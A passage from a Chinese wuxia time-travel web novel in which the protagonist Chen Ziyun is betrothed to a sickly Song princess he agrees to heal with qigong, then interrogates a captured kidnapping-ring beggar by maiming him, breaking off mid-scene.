这时周围的人已经四散了,谁也不想因为看个热闹就被官差盯上。前几天临安风声鹤唳的情形,在普通百姓心中还是有些余威的。 就连一边本来正看着自己坏了一大片壶自怨自艾的小商贩也打算撤摊走人了。看来不管在哪个朝代,小老百姓对于官府的态度都差不多,惹不起只能躲。 “你等等。” 陈子云朝着小商贩说道。 “大爷,这人可跟我没关系啊。您也看到了,他还弄坏了我的这么多茶壶。” 小商贩以为是自己也要被官差给带走了,连忙解释道,双手摇的跟狂风下的柳枝一般。 “你别误会。我知道此事与你无关。我也不过是来买茶壶的,既然这个人是为了我而来的,他损坏的这些茶壶自然由我来赔给你。” 陈子云道。 “不不,不用了吧。” 小商贩带着几分犹豫与渴望的复杂情感推辞道。 陈子云没有废话,直接拿出了一定银子扔了过去。 “呃啊。” 小商贩手忙脚乱的接住了银锭。可眼睛却还是有些犹豫的看了看陈子云,又看了看那些威严官差。 “走吧。” 陈子云朝他挥挥手。 “诶,诶,谢谢大爷。” 小摊贩麻利的收拾了桌面上的茶壶,揣着自己手里的银两,急匆匆的离开了这个是非之地。 “韩二爷,那这人小的们就先带回衙门,保证把他知道的所有东西都给您挖出来。” 那几个刚过来的官差中的一个,看着像是带头的人物,恭敬的对陈子云说道。 “如此就麻烦几位了。” 陈子云抱抱拳,刚要从兜里再掏出几张整额的银票意思意思,就被那个樵夫制止了。 “二爷,请您别。就当给小的们一个拍您马屁的机会。小的知道您是明白人,钱这东西小的们平时确实不忌讳,这也是咱们养家糊口的路子。 可要是今天这人真的能给小的们一个立功的机会,那就是该小的们孝敬您才是的了。” 樵夫指指还在地上折腾的乞丐,一脸谄笑的道。 陈子云犹豫了一下也就收回了放在衣兜里的手,点点头道。 “如此,那就拜托几位了。” “谢二爷赏!” 众人抬手一礼,算是感谢陈子云承情。 陈子云此时也没了继续逛的意思,拿起那个已经离开的小摊贩故意留下的那把看着就有些门道的紫砂壶。 “好壶啊!” 陈子云悠然一笑,心想这小摊贩也是个有心的。 又看着那些已经带着乞丐离开的官差的背影,若有所思。 龙虎出行,风云相随;鼠兔挪窝,草根坚果啊。这些在这个时代上摸爬滚打的人物,都有各自的道德标准,各自的行为准则。 这摊贩会为了几个茶壶的损失抓着乞丐不放,也会因为陈子云的慷慨赔偿,留下自己的心意。 而这些底层的官差,因为上级的一个命令,不得不在这寒冬腊月里打扮成一个衣衫单薄的樵夫一路跟随。 同时也会为了巴结陈子云这个仗着韩侂胄权势的新贵而放弃平时早已习惯的孝敬。 这里不能用单纯的好坏善恶,正直势利来做评价。只能说不管是哪个世界的人,在不同的情况下做出的自以为最有利于自己的选择,是他们不可挣脱的宿命,无关一切形而上的道德概念。 陈子云一边把玩着手里的紫砂壶,没多久就回到了韩府。 还没等他坐下来试试这茶壶的品质,刚从皇城里吃完了御膳回来的韩侂胄就找了过来。 作为现在的南宋第一权臣,韩侂胄在皇城里陪官家用膳并不稀奇。稀奇的是是,他来的时候满脸笑容,后面还跟着同样满面笑容的韩夫人。 “子云,子云,哈哈哈哈。” 韩侂胄人还没到陈子云的书房,声音却先到了。 “子云啊,赶紧梳洗一番,娘娘召见你呢。” 韩侂胄也没敲门,直接就推开了陈子云半掩着的房门,那高兴的摸样比罢黜赵汝愚的时候还更胜几分。 “是啊,子云,赶紧跟嫂嫂一起进宫去。也不用装扮了,以子云的样貌气概,我保证娘娘见了肯定欢喜。” 韩夫人跟着附和道。 陈子云差点就把手里的紫砂壶给捏碎了,怎么又要进宫,还是皇后想招?可自己跟皇后又有什么瓜葛呢,陈子云立刻想到了前几天的韩侂胄当朝提亲的事情。 “我......” 可还不等陈子云拒绝,一连串的丫鬟就进了他的书房,陈子云瞪大了眼睛看着。 “子云啊,这都是一些进宫该配搭的东西,不麻烦的。” 韩夫人指着这大大小小的托盘解释着,似乎是怕陈子云嫌麻烦。 可这一个个的连陈子云根本叫不出名堂的各种玉佩啊,流苏啊,这也叫不用打扮? 在一阵红衣绿衣的环绕中,陈子云感觉身上突然间就多了好几斤的负重似的,每走一步还会发出叮呤当啷的响动。这让他想起了自己曾经在养狗的时候,给它在脖子上挂的那个铃铛。 也许是被那些围着他团团转的丫鬟给转迷糊了,等陈子云缓过神来,发现自己已经进了一辆豪华至极的马车,一路就朝着皇帝的后宫。 这与跟着韩侂胄上朝不同,女眷进宫见后妃似乎更加注重私密性。所以等韩夫人招呼陈子云下车的时候,他们已经身在内廷了。 自然也会有内侍跟宫女来检查一番,但是面对如今的宰相夫人,同样是曾经的宫廷红人的韩夫人,显然是趁机问安跟打招呼多过检查。 第一百四十八章 二进宫 韩夫人熟稔的跟这些人点点头,就在一个宫女的带领下进入了一个典雅奢华的宫殿。 不用韩夫人介绍,陈子云也能猜到,这就是当朝皇后的寝宫了。 进了大殿,宫女就直接出去了,剩下的就是高座在上的一个年龄看着不过三十几岁,雍容端庄的贵妇人。 这就更不用猜,这位就一定是如今宋宁宗的皇后了,如果陈子云没有记错,这位还是韩侂胄的同族,韩皇后。 “臣妾拜见皇后娘娘。” 韩夫人款款下拜。陈子云也跟着做了一个礼。 “夫人无需行礼,吾与韩相本就是同族,要是论辈分,您还是吾长辈。” 韩皇后的声音很是温柔,不像个统领后宫高高在上的皇后,却像是个刚出阁的大家闺秀。 “这位就是韩家二郎吧。果然是人中龙凤,官家倒是没有丝毫夸张。” “谢娘娘!” 陈子云应答了一声。 接着就是皇后跟韩夫人之间一些流程式的应答,不过是主要是皇后以晚辈姿态在问如今韩家族里的长辈们的身体是否安康之类的。 其实这些情况韩夫人估计自己都不是很清楚,只是都说着一些体面话罢了。 韩皇后也是知道的,只是只有这样问上一圈之后,她才方便赏赐这些同族长辈一些小东西,也算是全了她这个几乎没怎么见过面的晚辈的孝心吧。 陈子云默默的在一旁坐着,虽然他此时看上去正襟危坐目不斜视的样子,其实早已经魂游天外了。 “咦!” 正当陈子云凝神静气的时候,却诧异的发现,在皇后坐着的那张宝座后面的屏风里,竟然藏着一个轻微的呼吸声。 如果不是陈子云无聊的运功于耳,还真的难以发现。这人难道是个高手?竟然能把呼吸压制的如此微弱。 不对,这不是微弱,而是虚弱。 陈子云发现了不对劲,怎么会有人如此大胆的躲在那里,同时还如此的体弱。 陈子云看了韩皇后一眼,对方依旧热情的在跟韩夫人寒暄着,似乎没有丝毫发现自己背后的异样。 而此时这大殿中,韩皇后为了显示亲近,已经把所有的内侍和宫女都打发到殿外去了。 要是这个时候,那躲在屏风后面的人有所行动,真的又伤了皇后,那他跟韩夫人怕是再多两张嘴也解释不清了。 “娘娘可知道荆轲刺秦王时用的是什么宝剑?” 陈子云突兀的开口问了一个很是奇怪的问题。 两个正在谈天的妇人都是有些错愕,因为陈子云这般的打断,实在是有些无理了。 韩夫人有些疑惑甚至带着些责怪的看了陈子云一眼,反倒是韩皇后似乎并没有什么见怪,反而给了陈子云一个不碍事的微笑。 “二郎怎么会问这个?吾倒是读过几本史书,《史记·刺客列传》记载的,是赵国太子丹从铸剑大师徐夫人处得来的一把匕首。虽然后人直接将其称为徐夫人匕首,吾却觉得有些过于牵强了。” “娘娘见识独到。那娘娘可知,荆轲当时是如何行刺的?” 陈子云的问题越发不知所谓了。 “自然是图穷匕见。” 韩皇后依旧耐心的回答。 “不错。” 陈子云此时已经从座位上站了起来。 “既然地图里能藏着匕首,娘娘觉得屏风后面是不是也可以藏着剑?” 陈子云话没说完就一跃而上,同时招呼一声道。 “娘娘小心了。” “子云。” 一旁的韩夫人被陈子云突然的暴起吓了一跳,而当她看着陈子云是冲着皇后而去的时候,甚至心都凉了半截。 行刺皇后?韩夫人惊恐的想到。 韩皇后也是圆睁凤眼,显然同样是很惊讶。 可陈子云的动作实在太快,还没等韩皇后反应过来,就直接一把抓住了她的肩膀,在高座上一踏,就要带着她离开这个高危的地方。 可就在这时一声如杜鹃的哀啼一般的呼喊从屏风后传来。 “别害我娘娘啊!” 一个瘦弱的有些过分的女子出现在屏风的一侧,可能是因为太着急,连自己身上的衣服勾住了屏风都不曾注意。 而陈子云在看到这个女孩的瞬间就明白,自己怕是闹了个天大的误会。可现在他脚下的力道已经发出,要是再这个时候急停,他倒是可以无忧。 但手上的韩皇后可不一定受得住这样突然变换的力道。 而眼看着那扇重量不轻的屏风也要倒下,这要是砸在那个单薄的女孩身上还哪有命在。 “啊!” 韩皇后也发出了一声惊骇之极的尖叫,这是她第一次表现出惊慌,彻底的惊慌。 陈子云此时也管不了别的,右手直接把相思小刀甩出。 当然陈子云并不是突然丧心病狂的要把这个看着比林黛玉还病娇的女孩给灭口。他在出刀的时候,微微抖手,让相思小刀绕着这女孩的腰际温柔的转了一圈。 随后陈子云用了太极中最为柔巧的劲力轻轻一拉,那本来就要丧生在屏风下的女孩就犹如一个仙女风筝一般飞了起来。 至于那风筝线自然就是相思小刀连着的那段金属丝,这断丝线不仅能用来杀人,在陈子云的手里也能用来救人。 随着那个已经在空中几乎变的痴傻的女孩落地,陈子云又在对方的腰上轻轻一抚。 “碰。” 那屏风重重的砸在了皇后刚才的宝座之上。 门外的内侍跟宫女慌忙的跑了进来。 而韩皇后则是激动的一把抱住了似乎已经被吓呆了的女孩。 “妞妞,妞妞,你怎么了,你别吓娘娘啊!” 韩皇后急切的呼唤着,原来这位就是宋宁宗的独女,当朝的安顺公主,也就是韩侂胄求亲的对象。 陈子云此时也明白了这女孩的身份,不由感叹这事闹得。 至于这女孩儿为什么会躲在屏风后面,陈子云也能明白。不过是对于自己这个很可能是她未来夫婿的人好奇,又害羞的不敢直接相见,所以就机灵的想到透过那屏风的缝隙来偷偷的看。 而韩皇后呢,就是出于对这个多病的女儿的溺爱,答应了她这个有些无礼的请求。 第一百四十九章 顺安公主 “子云?” 韩夫人此时已经稳住了进来的宫人的情绪,倒不是她想越俎代庖,而是此时的韩皇后所有的注意力都在顺安公主身上,根本没注意已经跪了一地的宫人。 虽然这屏风倒下的事情,基本与这些人无关,但作为皇后宫内的宫人,只要是主子们出了半点差池,这些宫人自然是难逃罪责的。 “嫂嫂,是我误会了。刚才我发现有人鬼鬼祟祟的藏身于皇后的身后,怕是歹人,所以才出手。 没想到......” 陈子云这话一出,本来那个还呆呆的愣着的女孩儿像是醒了似的,脸上也是一片娇红。 “娘娘,娘娘,妞妞刚才飞起来了,飞起来了。” 这个还不过是个大小孩的顺安公主兴奋的欢笑着,脸上也因为情绪的激动显得分外的艳红。 “倒是个有点傻胆子的。” 陈子云心里暗暗想到。本来他还担心会给韩侂胄他们带来麻烦,看来这位娇弱的公主倒是有些与众不同。 “妞妞啊,你吓到娘娘了。” 韩皇后脸上的焦急也终于缓和了些。 “娘娘,是在下鲁莽了。不知是公主殿下在屏风后面,差点铸成大错。” 陈子云决定还是先道个歉,毕竟这两位除了身份之外都,不过是普通的母女俩,不像自己这么皮糙肉厚。 韩皇后先是看着陈子云打量了一会儿,似乎是在思考要怎么处置他。 “皇后娘娘,还请开恩,子云也是无心之过。” 韩夫人焦急的说道。 “娘娘,跟他......没关系的,是顺安调皮了。” 顺安公主似乎有些不敢看陈子云,轻轻瞥了一眼就低下了头。 “原来韩二郎说的荆轲刺秦是这个意思暗示吾有人欲对吾图谋不轨,当时吾可没想到。 可是二郎离屏风如此距离,而且顺安也并未发出声响,二郎是如何发现的。” 韩皇后的注意点似乎与别人的不同,没有想着怎么责怪,反而是感到了好奇。 “在下会些功夫,五感较常人灵敏些。公主的呼吸虽然微弱,却逃不过在下的耳朵。” 陈子云答道。 “功夫,这些宫中的侍卫也会。难道他们都能发现不成,吾可不信。” 韩皇后追问道。 “或许是在下的功夫更特殊些吧。” 陈子云敷衍着。 韩皇后突然笑眯眯的看着陈子云,也不知是在夸赞,还是讥笑。 陈子云自然不会受这样的气。 “比如在我与娘娘和公主的这样距离,在下能清晰的分辨两位的呼吸脉搏的强弱。 娘娘的脉象强健稳定,而公主的脉象却是虚弱的多,甚至有几处还很是固涩。” “什么?” 韩皇后大惊,连本来已经躲在自己母亲后面的顺安公主也探出头来,大眼睛里满是惊奇。 “你能听出顺安的病症,可能治好她。” 韩皇后神情激动的看着陈子云,眼神殷切的问道。 不过陈子云还是遗憾的摇摇头道:“公主的脉象似乎是先天的,并不是后天的病症。在下对岐黄之术虽然略有了解,但绝比不上宫中的御医。” 陈子云的意思很明显,要是连御医都治不好,那他肯定更是不行。 “真的么?” 韩皇后似乎是不信,也可能是不愿意放弃这好不容易出现的希望。 “娘娘,你不要为难他了。顺安的身子是命不是病。” 顺安公主那柔弱的语调,明明心里都是泪却还在想着安慰自己的母亲。 这份善良,这份孝心,让一旁的韩夫人也不由得侧过脸去。 而那一地的宫人甚至已经隐隐传出了低低的哭泣之声。他们都是皇后宫里的老人,可以说是看着顺安公主长大的。 对于他们这些注定不可能有子女的人来讲,对这个从小就听话的让人心疼的小公主,都是发自内心的疼爱。 见她如今这般可怜可爱的摸样,哪里有不心疼的。 “驸马爷,您就救救小妞妞吧。” 突然一个老嬷嬷仰起头,有些不顾规矩的哭喊了一声。 “乳娘娘,您别为难他了。” 顺安公主泪眼婆娑的劝解道。 原来这位嬷嬷竟然是顺安公主的乳母,难怪敢直呼公主的乳名。 “......” 陈子云刚想解释,不是自己不想救,是他的医学水平真的有限。可随即耳朵里就传来脚步声,门外似乎有人急匆匆的赶来了。 “我可怜的小妞妞啊,嬷嬷是多么希望能看到你出嫁啊。到时候我们小公主肯定是天底下最漂亮的新娘子。 驸马爷,您就是试试吧,就试试。公主她才十四岁啊,她已经受够了苦了。” 乳娘悲戚的哭喊着。 “韩二郎,你要是能治好顺安的病,但凡你想要,朕无所不给。” “拜见陛下。” 原来是宋宁宗来了,众人连忙见礼。 “韩二郎,回答朕,哪怕是万一的希望,你到底能不能治好顺安?” 宋宁宗神色严肃注视着陈子云问道,此时的他仿佛不再是一位君王,而是来自一位父亲的请求。 “爹爹。” 顺安这个善良的女孩似乎见不得任何人为难,她看陈子云的沉默,就想为他开脱。 “妞妞,你先等等。他不仅是朕的臣子,也是你将来的丈夫。不管于公于私他都有责任爱护你,保护你。 韩二郎,回答朕的问题。” 宋宁宗制止了自己女儿的求情,逼着陈子云问答。 “陛下。” 陈子云停顿了一下,看了一眼那位算不上好看,却楚楚可怜的女孩一眼。这个时候,在陈子云眼中,这位女孩的自身品德已经高过了她的公主身份。 历史上的公主少说几千,但是这样善良的却是少之又少。 “在下的岐黄之术确实一般。” 众人皆是低声丧气的摸样。连宋宁宗也是满眼的失望。虽然他不至于为了这个迁怒,但要说对陈子云的映像肯定是要打好几分的折扣了。 “可若是说别的法子,倒是说不定可以一试。” 陈子云语出惊人。 “什么?什么办法?” 宋宁宗直接一把就拉住了陈子云的手,激动万分的问道。 “让公主跟着我练功。” 陈子云道。 第一百五十章 新邻居 “练功,什么功,武艺?” 宋宁宗反应过来了,可随即就是犹豫不定。 皇宫里不是没有高手,他也见识过有人能蹦好几丈的,可这不过是单打独斗的本事,向来不被朝堂看重。 一个人再强,对于习惯掌握千军万马的皇帝来说,都是上不了台面的。 “一个精通儒释道三教的老家伙想出来的。利用道家呼吸吐纳炼功之法,化解戾气,祛百病,调虚实,使人潜能意识被激发到极限。 以公主现在的情况,应该是先天不足,在下能想到的也就是这个法子,也许能试一试。” 陈子云这也是刚刚想到了王重阳跟自己交流时说出的,刚刚找到头绪的先天功的精要。或者也只有这法子能逆转先天,将顺安公主这先天性的疾病改善。 “道士?二郎也相信这种神神鬼鬼的东西?” 对于一个皇帝来说,这些东西是从小就被告诫的,尤其是历史上的种种因神佛长生而糜烂的王朝的劝诫。 陈子云知道,自己如果跟宋宁宗解释内功精要就跟对牛弹琴没什么区别。 索性就连连朝着自己坐过的椅子发出了几道指劲,随着咔咔嚓嚓的几声响动。 本来那张用名贵木材由宫廷巧匠耗时耗力打造的华贵座椅,就瞬间变成了一堆烂木头。 “啊,陛下,小心。” 有几个随着宋宁宗来的内侍,直接将他围在了中间。 其他人也是满脸不可思议的看着陈子云。 “这就是内力的一种运用。” 陈子云神色淡然的解释道。 宋宁宗推开围着自己的内侍,神色凝重的走到散落一地的木堆前,还捡起一根看了看,那如刀削的断面。 “好,我明天就宣布你和顺安的婚事,但公主年纪尚小,先定下婚事。同时我会让顺安出宫建公主府,位置就在韩相府的旁边。 你们先做友邻,后做夫妻吧。” 宋宁宗直接就把事情给定下了。连本来还想出言的皇后都被他用手势制止了。 “朕知道韩相的提亲,有一大部分是想用顺安让朕安心,表明他会站在朕的一边。朕作为一国之君当然也愿意韩相如此,可对于一个父亲来讲,朕又何尝不希望自己的顺安能过得幸福。 韩二郎,希望你不要让朕失望。” 陈子云抬手做了一礼。 现在他说什么都没用,只有寄希望于王重阳的先天功真的有用吧。 ...... 第二天,位于韩府右侧,也就是靠近皇城一侧的一座大宅院被征召为了顺安公主府。 同时宋宁宗也是依言在当天宣布了关于接受韩侂胄的提亲,将刚刚豆蔻年华的顺安公主许配给了韩家二郎。 婚期就定在两年后,等公主年满十六岁就举行。 对于朝堂上如今最大的两位结成亲家,蛮吵的官员自然是识相点纷纷恭贺。韩侂胄回来的时候更是满脸喜气的,据说这位韩相爷今天在处理公事的时候都是带着笑的。 这让向来对这位手段狠辣的权臣很是畏惧的下属,再次感恩戴德的在心里谢了谢皇帝的英明决定。 心里感叹,希望这份喜庆能持久一些最好。 大宅院是现成的,但是作为公主的府邸,一些皇家制度规格上需要补充的东西还是要有的。 所以这两天可以看到,从皇城里到公主府内的马车基本就没有停过。心疼自己女儿的韩皇后,不知是不是把半个后宫的东西都搬出来送给自己宝贝女儿用了。 宅院里大的动工倒是没有的,唯一的一处就是在韩府与原来大宅间隔处的那条小路被围起来了。 一个讲究的苏式园林正在有条不紊的扩建中,等这里建设好后,会有一个隐蔽的暗门,为的就是方便陈子云能在明面上不入公主的情况下,还能指导顺安练功。 其实这对于陈子云来说实在是有些画蛇添足,那不高不低的院墙,对他来讲不过是一个借力跳跃的事情。 可不管是韩侂胄这边还是宋宁宗那边,都很不待见这种翻墙入院的梁上君子作为。 嘿,陈子云也是乐了,感情这开暗门就高尚了是吧。不过他也没必要为这种事情坚持,他现在要担心的是这王重阳的先天功到底行不行。 所以陈子云这些天基本就是呆在自己的书房里,揣摩着王重阳但是透露出来的先天功的奥义。 这部功法要是让顺安自己修习那是不可能的,没有强悍的内力作为支撑,根本无法修习先天功。 所以陈子云第一个想到的办法就是利用九阴真经疗伤篇里的,将两人内力合流的办法,由自己带着顺安练功。 当然这样的法子自然也有弊端,那就是因为一开始的内力是完全由陈子云提供的,所以即使顺安后面练出来了内力,她也无法运用。 理由吗,就有点像前驱的汽车,后面的两个轮子只是因为与前轮相连接,所以在发动机动的时候他也能跟着前轮动,可一旦失去了中间的传动轴的引导,它自身就无法移动。 不过好在顺安也只是治病,并不是为了真的修炼武功。而且以她这种先天不足的体质,再好的武功她也无法驾驭。 何况她又是连蚂蚁都不敢害的性子,学武功做甚? 其实这还不是陈子云心里最为难的,现在他最犹豫不定的是不是真的要娶这位顺安公主。 还是直接等自己治好了这位看着就可怜兮兮的公主命却是林黛玉身的小妹妹,就一走了之。 一来是陈子云从来就没有考虑过在武侠世界里成家;二来是因为自己的特殊情况,不知道什么时候就去了另外的世界(不是死亡)。 这要是他一个人就无所谓了,可拖家带口的,自己又如何对得起被留下的家人。 这个问题直到靠着他的院子的那个苏式园林修建好,他也没有能下定决心。 但不管如何,先救人吧。 ...... 陈子云第一次在这个匠心细作的小花园里看到了似乎盛装打扮过的顺安公主。 “见过公主殿下。” “你.....你叫我茵萝吧,我们......。” 顺安公主也就是赵茵萝声若蚊蝇的怯怯说道。 第一百五十一章 当官了 “公主,老身给你跟驸马爷去泡壶茶来。” 跟着顺安公主一起来的乳娘,笑着走开了。这让赵茵萝更加紧张了。 “嬷嬷你别走。” “公主放心,老身很快回来。你先跟驸马爷好好聊聊吧。” 这嬷嬷嘴里一句一句都是驸马爷,眼神还带着些促狭的瞥陈子云一眼,这让陈子云都有些不自在的摸了摸鼻子。 “嬷嬷,你别这么说啊,我们.....我们还没......” 赵茵萝脸上都快红的出血了。 “陛下都已经下旨意,就是说出个天大的来,你们也是一家人了。小公主不要害羞,我瞧驸马爷也是个知道疼人的。” 嬷嬷终于是走了。 “韩.....” 赵茵萝似乎被自己乳母说的急了,一时连在宫里为了少些尴尬而故意练习了好几次的称呼都忘了。 “你叫我师傅吧。” 陈子云道。这是他思索之后的暂时想出的敷衍的办法。而刚才的那种种表现,也让他知道,自己面对的这个少女是多么的天真纯洁。他实在是对她没有丝毫的其他想法,除了一点类似老父亲的怜爱。 “这?可以吗?可?” 赵茵萝虽然年纪小,但也不是完全不知事。自己跟陈子云的婚姻关系就像是自己乳娘说的,肯定是不可能改变的。 那叫自己未来丈夫师傅,岂不是...... “这也不光是因为我要传授你功夫,还有一层我也算是代替一位道长收你。因为这功夫其中最关要的部分,并不是我创的,而是这位终南山的道长。 所以,如果你以后遇到自称是全真教的门徒,就稍微客气一些吧。如果你开不了口,那就叫子云师傅,不过是个称谓而已,你也不用太在意。 如果官家跟娘娘问起,你就说是江湖武艺传授时的规矩吧。” 陈子云直接就开始哄骗小孩了。他这也是没办法的办法,等这位公主习惯了自己做她师傅,自己真要走的时候,与她也不至于纠葛太深吧。 ...... 韩皇后虽然觉得陈子云一表人才,还有一身神奇本事确实不错,但是对于宋宁宗直接就赐婚的行为还是有些疑虑的。 但当看到自己平时只会在自己面前强颜欢笑哄自己安心的妞妞,成了一进宫就缠着自己笑逐颜开的讲述跟着她的未来驸马爷练功是如何如何的神奇。 韩皇后就知道,自己的宝贝终于是苦尽甘来了,不论陈子云是不是真的能治好这连宫内的御医都束手无策的奇难杂症。 可自己的妞妞能如此的欢乐,如此的开心便什么都不重要了。 虽然对于自己女儿叫未来的驸马为子云师傅很是奇怪,但就当是年轻人之间的情趣吧。反正也就是在她的公主府和皇宫内院里,也不怕别人听到。 至于等他们完婚之后,那就更无所谓了,闺房之乐难道还能被外人知道不成! “娘娘,你知道吗?子云师傅他是真的会飞诶。跟妞妞上次在娘娘宫里的不同,他不用绳子也能从自己的屋子顶上飞到院子里。 就像是书里写的那般,‘浩浩乎如冯虚御风’。” 赵茵萝撒娇般的在自己娘娘旁边,转着圈的诉说着陈子云的神奇之处。 “你这傻孩子,那只是圣人的夸大之言,要是真的,那这韩家二郎不是成了神仙了。” 韩皇后也只以为是自己的宝贝女儿夸大其词,为自己的未来驸马说大话呢。不过韩皇后并不介意这些,反而笑着与自己的宝贝开起了玩笑。 看着自己面前的女儿一天天的变化,韩皇后哪里还能生气。平时要是赵茵萝做出这么剧烈的动作,这会儿肯定又是要喝糁汤回气,又是要躺在自己怀里休息了。 这韩家二郎倒是真有本事的,该让陛下想办法先给他认命一个官职了,要不然等与妞妞完婚的时候,也总不能还是依靠韩相爷的白身吧。 “娘娘,是真的。妞妞没说大话。要不改日你来公主府,让子云师傅表演给你看。 可惜子云师傅说,妞妞的身子不争气,学不会那飞天的功夫。不过子云师傅也说了,他会教妞妞让人不能动的法子。 到时候等妞妞学会了,在表演给娘娘和爹爹看,以后妞妞也能保护娘娘了。” 赵茵萝笑着说着。 “好好,娘娘相信,不管妞妞说什么,娘娘都信。” 韩皇后欢喜的抱住在自己身边转圈不停的女儿,也怕她一时激动,过于消耗了来之不易的体力。 第二天,陈子云本来刚教完自己的小徒弟回到自己的小院子休息,就被通知有宫中的旨意到了。 在韩府的一片喜庆声中,陈子云就这么莫名其妙的被封为了轻车都尉。虽然只是个没有实权的勋官,但陈子云这个也算是被破格提拔了。 可自己对朝廷又没有什么贡献,怎会来的这么突然。要是说如果是韩侂胄给自己求的官,总会先只会自己一声。 陈子云不由得想到,今天赵茵萝这小妮子总是有些神不守舍的神情,难道是因为她的关系。 是了,恐怕是她皇帝老子或者皇后娘娘给自己这个名义上的未来女婿赠送的福利吧。 “二爷,外面有位差爷找您。” 正当陈子云感慨自己飞来横官的时候,门房的小厮来报。 官差?哪里来的官差。 陈子云早就把那个差不多半个月前自己在街上碰到的乞丐给忘了。至于嘱咐那些官差要查他的事情,见他们好几天也没有回话,以为是没有当回事,也就不想揪着不放。 到了会客厅,看到那个明显带了伤的官差,才回想起来,这人就是那一批后面穿着制服的里面的一个。 “二爷,小的给您磕头了,李头他们死的好惨啊!” 还不等陈子云招呼,这人就直接一把跪在了地上,以头抢地,大声哭嚎。 陈子云顿时皱眉,一种不太好的预感在心头萌生。 “你先把话说清楚,李头是谁,又是怎么死的。” “二爷啊!” 那人还想哭嚎,陈子云直接递过去一个冷酷的眼神,才让他一五一十的说出了经过。 第一百五十二章 杀意起 原来,李头就是那个负责带队的官差。那天拿了那乞丐之后,在牢里好好的‘伺候’乞丐两天,终于是把对方知道的东西都掏出来了。 可这不问不知道,本来他们就指望能发现一些对方勾结他人谋害韩家的罪证,意图在当今相爷面前挣个露脸的机会。 哪里想到,竟然摸出了另一条骇人的线索。这乞丐竟然还是一个专门拐带小孩的组织的一员。 经他说,不仅是普通人家的小孩,就是临安城中的大户,甚至官员的孩子他们也拐带过。 这简直是炸了窝了,李头连忙找来了负责调查丢失小孩案件的那位捕头,结果两人一对。 最后确认,这乞丐说的竟然是真的。 这让两人即惊喜又担忧。喜的是一些搁置了许久的,尤其是关系到一些大人物的案子终于有了线索。 而忧的是,这样的拐带组织必然是庞大的,凭着他们这点人怕是难以吃下。 可要是就这么把眼看着要到手的功劳给让出去,他们又如何能甘心。 所以两人就决定,先带着各自的人马,明察暗访。如果有机会,他们自然是想自己把功劳给赚了。 要是实在不行,再向其他衙门求援。 想法是美好的,可惜现实却是残酷的。 没几天李头就发现,他们派出去找线头的那些手下,好几个再也没有回来。 家里也没人,衙门也没回,可以说是生不见人死不见尸。 李头也意识到了事情的严重性,所以他打算第二天就直接把这件事情上报。 可惜,这一晚他终究是没熬过去。等人发现的时候,李头的一家老小都被人杀死在了自己的家里。 衙门自然也展开了调查,可除了知道跟那乞丐有关之外,其他的线索基本没有。 可不管他们怎么折磨那乞丐,对方却还是说不清楚。 “哈哈哈,我知道了,肯定是有人来救我了。狗官们,你们的报应到了。要是现在放了老子,说不定还能跟帮中的兄弟求求情,饶了你们狗命。 否则.......嘿嘿......” “二爷啊,小的无能啊。小的当时真的害怕了,连给李头报仇的勇气都没有啊。 李头真的好惨啊,头颅跟四肢都被打烂了,连家小都没放过啊,这些畜牲养的。” 官差涕泗横流的说着。 “敢在临安城里明目张胆的杀官差,应该不是一般的匪徒吧。” 陈子云道。 “小的们也是这么想的,加上那乞丐说的,小的们猜测是江湖上的那所谓的丐帮的人做的。 也就是这些人,仗着自己能高来高去,丝毫不把朝堂律法放在眼里。” 官差道。 “丐帮?嘿。” 陈子云冷然一笑,整个客厅的空气都冷了三分。 “你刚才还说,那乞丐还参与拐带孩子?” “是,是的,二爷。小的用自己的脑袋相保。” 官差语气激动的答应。 “既然如此,这件事你们别管了,把那乞丐带到韩府来,我亲自招呼他们。” 陈子云说的似乎很随意,但那位官差却明显的感觉了那种不把人命放在眼里的杀意。 ...... 乞丐没多久就被带过来了,自然不会是走韩府的正门,陈子云让小厮将他捆在了后院的马棚里。 “你不走?” 陈子云对着那个送乞丐来的官差道,也就是那个来报信的。 “二爷,李头救过我的命。” 官差悲切却也有几分坚决的答道。 “你叫什么?” “小的,裴靖。” “哦,哪个靖?” “是靖康的靖,不过是家父找算命先生取的,他并没有那种学识。” “那你这段时间就跟着我吧,我到时候给你一张韩侂胄的名帖,你到时候带回衙门去。” “不,不用的。衙门里的大人也知道我来韩府的事情,哪里敢收相爷的帖子,小的要是真拿回去,还不把衙门里的大人给吓死。 二爷您吩咐就是,既然我裴靖敢来找二爷,就已经把生死都放在肚子外面了。” 裴靖慌忙的解释着。 “生死,不错,不过我要你生,要死的是其他人。” 陈子云说完就将头转向了被捆在马棚柱子上的那个乞丐。 倒是比那时干净了不少,不过肯定不是洗的,而是被用刑的时候顺便干净了。 “把他嘴上的布头拿开,我问他几句话。” “是。” 裴靖取下了那块防止对方在来的时候大呼小叫的烂布头。 “呜呜呜” 刚拿走堵住嘴的布头,那乞丐就哭了起来,不过声音不大,显然是这几天的折磨,让他没了力气。 这可不行,没他带路自己怎么找到人。 “去拿碗糁汤来。” 陈子云朝着小厮说道。 “是,二爷。” 陈子云并没有打算瞒着韩府的人,不过也没有大张旗鼓。反正这相府里在韩侂胄两次遇刺之后最少增加了一倍的人手,这些人肯定会把这件事完完整整的汇报给韩侂胄。 至于这位如今忙的脚不沾地的当朝宰相,会不会有心思管这种疥癣之疾,那就不知道了。 一碗上好的糁汤下肚,这乞丐立刻就有了精神。 “你......你们最好把我放了,否则帮里的兄弟不会放过你们的。” 乞丐以为陈子云如此好心的给自己喝这糁汤,肯定是怕了自己了,于是语气强硬的警告着。 “接下来我问问题,你回答。 第一个问题,你是不是拐带过孩子?” 陈子云语气平静的问道。 “别说屁话,快先给老子......啊.......” 乞丐的狠话还没放完,直接就变成了惨叫。 原来陈子云在对方蹦出第一个字眼的时候,直接就一指弹出,乞丐的左手小拇指应指而落。 “括噪。” 陈子云又出一指,直接点了对方的哑穴。 惊人的惨叫声顿时停歇了。 “第二个问题,你是不是丐帮的?” 陈子云继续问道。 乞丐瞪大着眼睛,不知是因为疼痛还是因为恐惧。 “不回答,那就再去一指。” 乞丐的第二根手指随着陈子云的最后一个词汇一起落下。 乞丐的身体剧烈的挣扎,可即使他把自己的脸憋的通红,也是说不出话一句话来。 第一百五十三章 泥瓦巷 而陈子云似乎也忘了,刚才是他自己嫌弃对方的叫唤声难听,才点了他的哑穴的,继续问道。 “第三个问题,丐帮有多少人参与了拐带孩子。” 陈子云问完,缓缓举起自己的右手,中指与食指相扣,就在乞丐的眼皮子底下朝着他的左手无名指一弹。 